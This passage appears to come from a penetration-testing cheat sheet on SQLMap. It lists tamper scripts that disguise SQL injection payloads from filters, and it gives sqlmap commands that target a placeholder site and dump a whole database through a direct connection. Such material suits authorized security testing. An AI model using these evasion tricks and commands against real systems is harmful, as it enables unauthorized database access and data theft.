<td>Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')</td>
</tr>
<tr>
<td>space2hash.py</td>
<td>Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')</td>
</tr>
<tr>
<td>space2morehash.py</td>
<td>Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')</td>
</tr>
<tr>
<td>space2mssqlblank.py</td>
<td>Replaces space character (' ') with a random blank character from a valid set of alternate characters</td>
</tr>
<tr>
<td>space2mssqlhash.py</td>
<td>Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')</td>
</tr>
<tr>
<td>space2mysqlblank.py</td>
<td>Replaces space character (' ') with a random blank character from a valid set of alternate characters</td>
</tr>
<tr>
<td>space2mysqldash.py</td>
<td>Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')</td>
</tr>
<tr>
<td>space2plus.py</td>
<td>Replaces space character (' ') with plus ('+')</td>
</tr>
<tr>
<td>space2randomblank.py</td>
<td>Replaces space character (' ') with a random blank character from a valid set of alternate characters</td>
</tr>
<tr>
<td>symboliclogical.py</td>
<td>Replaces AND and OR logical operators with their symbolic counterparts (&amp;&amp; and</td>
</tr>
<tr>
<td>unionalltounion.py</td>
<td>Replaces UNION ALL SELECT with UNION SELECT</td>
</tr>
<tr>
<td>unmagicquotes.py</td>
<td>Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)</td>
</tr>
<tr>
<td>uppercase.py</td>
<td>Replaces each keyword character with upper case value 'INSERT'</td>
</tr>
<tr>
<td>varnish.py</td>
<td>Append a HTTP header 'X-originating-IP'</td>
</tr>
<tr>
<td>versionedkeywords.py</td>
<td>Encloses each non-function keyword with versioned MySQL comment</td>
</tr>
<tr>
<td>versionedmorekeywords.py</td>
<td>Encloses each keyword with versioned MySQL comment</td>
</tr>
<tr>
<td>xforwardedfor.py</td>
<td>Append a fake HTTP header 'X-Forwarded-For'</td>
</tr>
</tbody>
</table>
<h2 id="reduce-requests-number">Reduce Requests Number</h2>
<p>The parameter <code>--test-filter</code> is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;https://www.target.com/page.php?category=demo&quot;</span> <span class="n">-p</span> <span class="n">category</span> <span class="p">-</span><span class="n">-test-filter</span><span class="p">=</span><span class="s2">&quot;Generic UNION query (NULL)&quot;</span>
<a id="__codelineno-15-2" name="__codelineno-15-2" href="#__codelineno-15-2"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;https://www.target.com/page.php?category=demo&quot;</span> <span class="p">-</span><span class="n">-test-filter</span><span class="p">=</span><span class="s2">&quot;boolean&quot;</span>
</code></pre></div>
<p>By default, SQLmap runs with level 1 and risk 1, which generates fewer requests. Increasing these values without a purpose may lead to a larger number of tests that are time-consuming and unnecessary. </p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;https://www.target.com/page.php?id=1&quot;</span> <span class="p">-</span><span class="n">-level</span><span class="p">=</span><span class="n">1</span> <span class="p">-</span><span class="n">-risk</span><span class="p">=</span><span class="n">1</span>
</code></pre></div>
<p>Use the <code>--technique</code> option to specify the types of SQL injection techniques to test for, rather than testing all possible ones.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="n">sqlmap</span> <span class="n">-u</span> <span class="s2">&quot;https://www.target.com/page.php?id=1&quot;</span> <span class="p">-</span><span class="n">-technique</span><span class="p">=</span><span class="n">B</span>
</code></pre></div>
<h2 id="sqlmap-without-sql-injection">SQLmap Without SQL Injection</h2>
<p>Using SQLmap without exploiting SQL injection vulnerabilities can still be useful for various legitimate purposes, particularly in security assessments, database management, and application testing. </p>
<p>You can use SQLmap to access a database via its port instead of a URL.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="n">sqlmap</span><span class="p">.</span><span class="n">py</span> <span class="n">-d</span> <span class="s2">&quot;mysql://user:pass@ip/database&quot;</span> <span class="p">-</span><span class="n">-dump-all</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://twitter.com/zh4ck/status/972441560875970560">#SQLmap protip - @zh4ck - March 10, 2018</a></li>
<li><a href="https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/">Exploiting Second Order SQLi Flaws by using Burp &amp; Custom Sqlmap Tamper - Mehmet Ince - August 1, 2017</a></li>
</ul>
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